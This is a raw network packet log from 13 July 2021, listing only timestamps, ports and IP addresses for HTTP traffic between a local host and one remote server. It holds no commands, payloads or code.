Jul 13, 2021 14:37:56.031585932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031589031 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031593084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031595945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031598091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031610012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031613111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031629086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031646967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031656981 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031663895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031677961 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031678915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031693935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031709909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031723976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031732082 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031739950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031754017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031760931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031789064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031815052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031831980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031847000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031872988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031877041 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031892061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031897068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031908989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.031932116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.031990051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032008886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032042980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032143116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032159090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032174110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032187939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032195091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032202959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032210112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032242060 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032243967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032258987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032274961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032289028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032304049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032304049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032341003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032371044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032496929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032533884 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032536030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032553911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032569885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032583952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032589912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032598972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032609940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032629967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032638073 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032645941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032660007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032675028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032685995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032706976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032787085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032814980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032830954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032845974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032866955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032890081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032895088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032905102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032919884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032934904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032938957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032948971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032963991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032969952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.032978058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.032995939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.033001900 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.033034086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.033457994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.033778906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.033832073 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.033912897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.033929110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.033973932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034076929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034092903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034130096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034133911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034162045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034177065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034194946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034200907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034210920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034225941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034240007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034245968 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034255028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034269094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034275055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034284115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034297943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034297943 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034316063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034322977 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034332991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034347057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034353018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034360886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034372091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034375906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034415007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034526110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034657955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034696102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034733057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034751892 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034768105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034774065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034792900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034809113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034823895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034833908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034837961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034853935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034868002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034872055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.034908056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034923077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034940958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034956932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034970999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.034985065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035000086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035013914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035028934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035073996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035084963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.035089970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035104036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035135984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035147905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.035155058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035167933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035182953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035192013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.035233021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.035696983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035712957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035727024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035742044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035787106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.035808086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.035902023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035927057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.035943985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036132097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036151886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036190987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036199093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036266088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036294937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036308050 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036309958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036325932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036333084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036340952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036358118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036359072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036375999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036391020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036405087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036406994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036420107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036434889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036434889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036449909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036465883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036465883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036484003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036493063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036499977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036514997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036526918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036530018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036545038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036559105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036567926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036573887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036587000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036587954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036606073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036608934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036622047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036636114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036648035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036650896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036665916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036668062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036679983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036695004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036698103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036709070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036726952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036735058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036742926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036766052 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036770105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036784887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036812067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036819935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036827087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036844969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036849022 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036860943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036880970 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036881924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036900997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036917925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036926985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036932945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036947966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036957026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.036962986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036977053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.036992073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.037003994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.037005901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.037013054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.037024021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.037049055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040194035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040211916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040225983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040245056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040256977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040272951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040280104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040290117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040304899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040323973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040326118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040340900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040343046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040355921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040363073 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040370941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040385962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040399075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040400028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040411949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040426016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040432930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040441036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040455103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040462017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040469885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040483952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040486097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040498018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040508986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040515900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040532112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040544033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040546894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040561914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040568113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040576935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040591955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040606022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040612936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040620089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040637970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040641069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040653944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040663004 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040668011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040683031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040692091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040698051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040712118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040718079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040725946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040740013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040757895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040761948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040774107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040788889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040803909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040812969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040813923 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040827990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040842056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040853977 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040857077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040872097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040878057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040889978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040905952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040920019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040923119 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040935040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040944099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040949106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040962934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040980101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.040985107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.040994883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041013002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041017056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.041028976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041043997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041057110 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.041058064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041071892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041086912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041095018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.041100979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.041101933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041116953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041125059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.041136026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041151047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041166067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041167021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.041181087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041188002 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.041194916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.041209936 CEST	80	49757	47.254.186.176	192.168.2.3
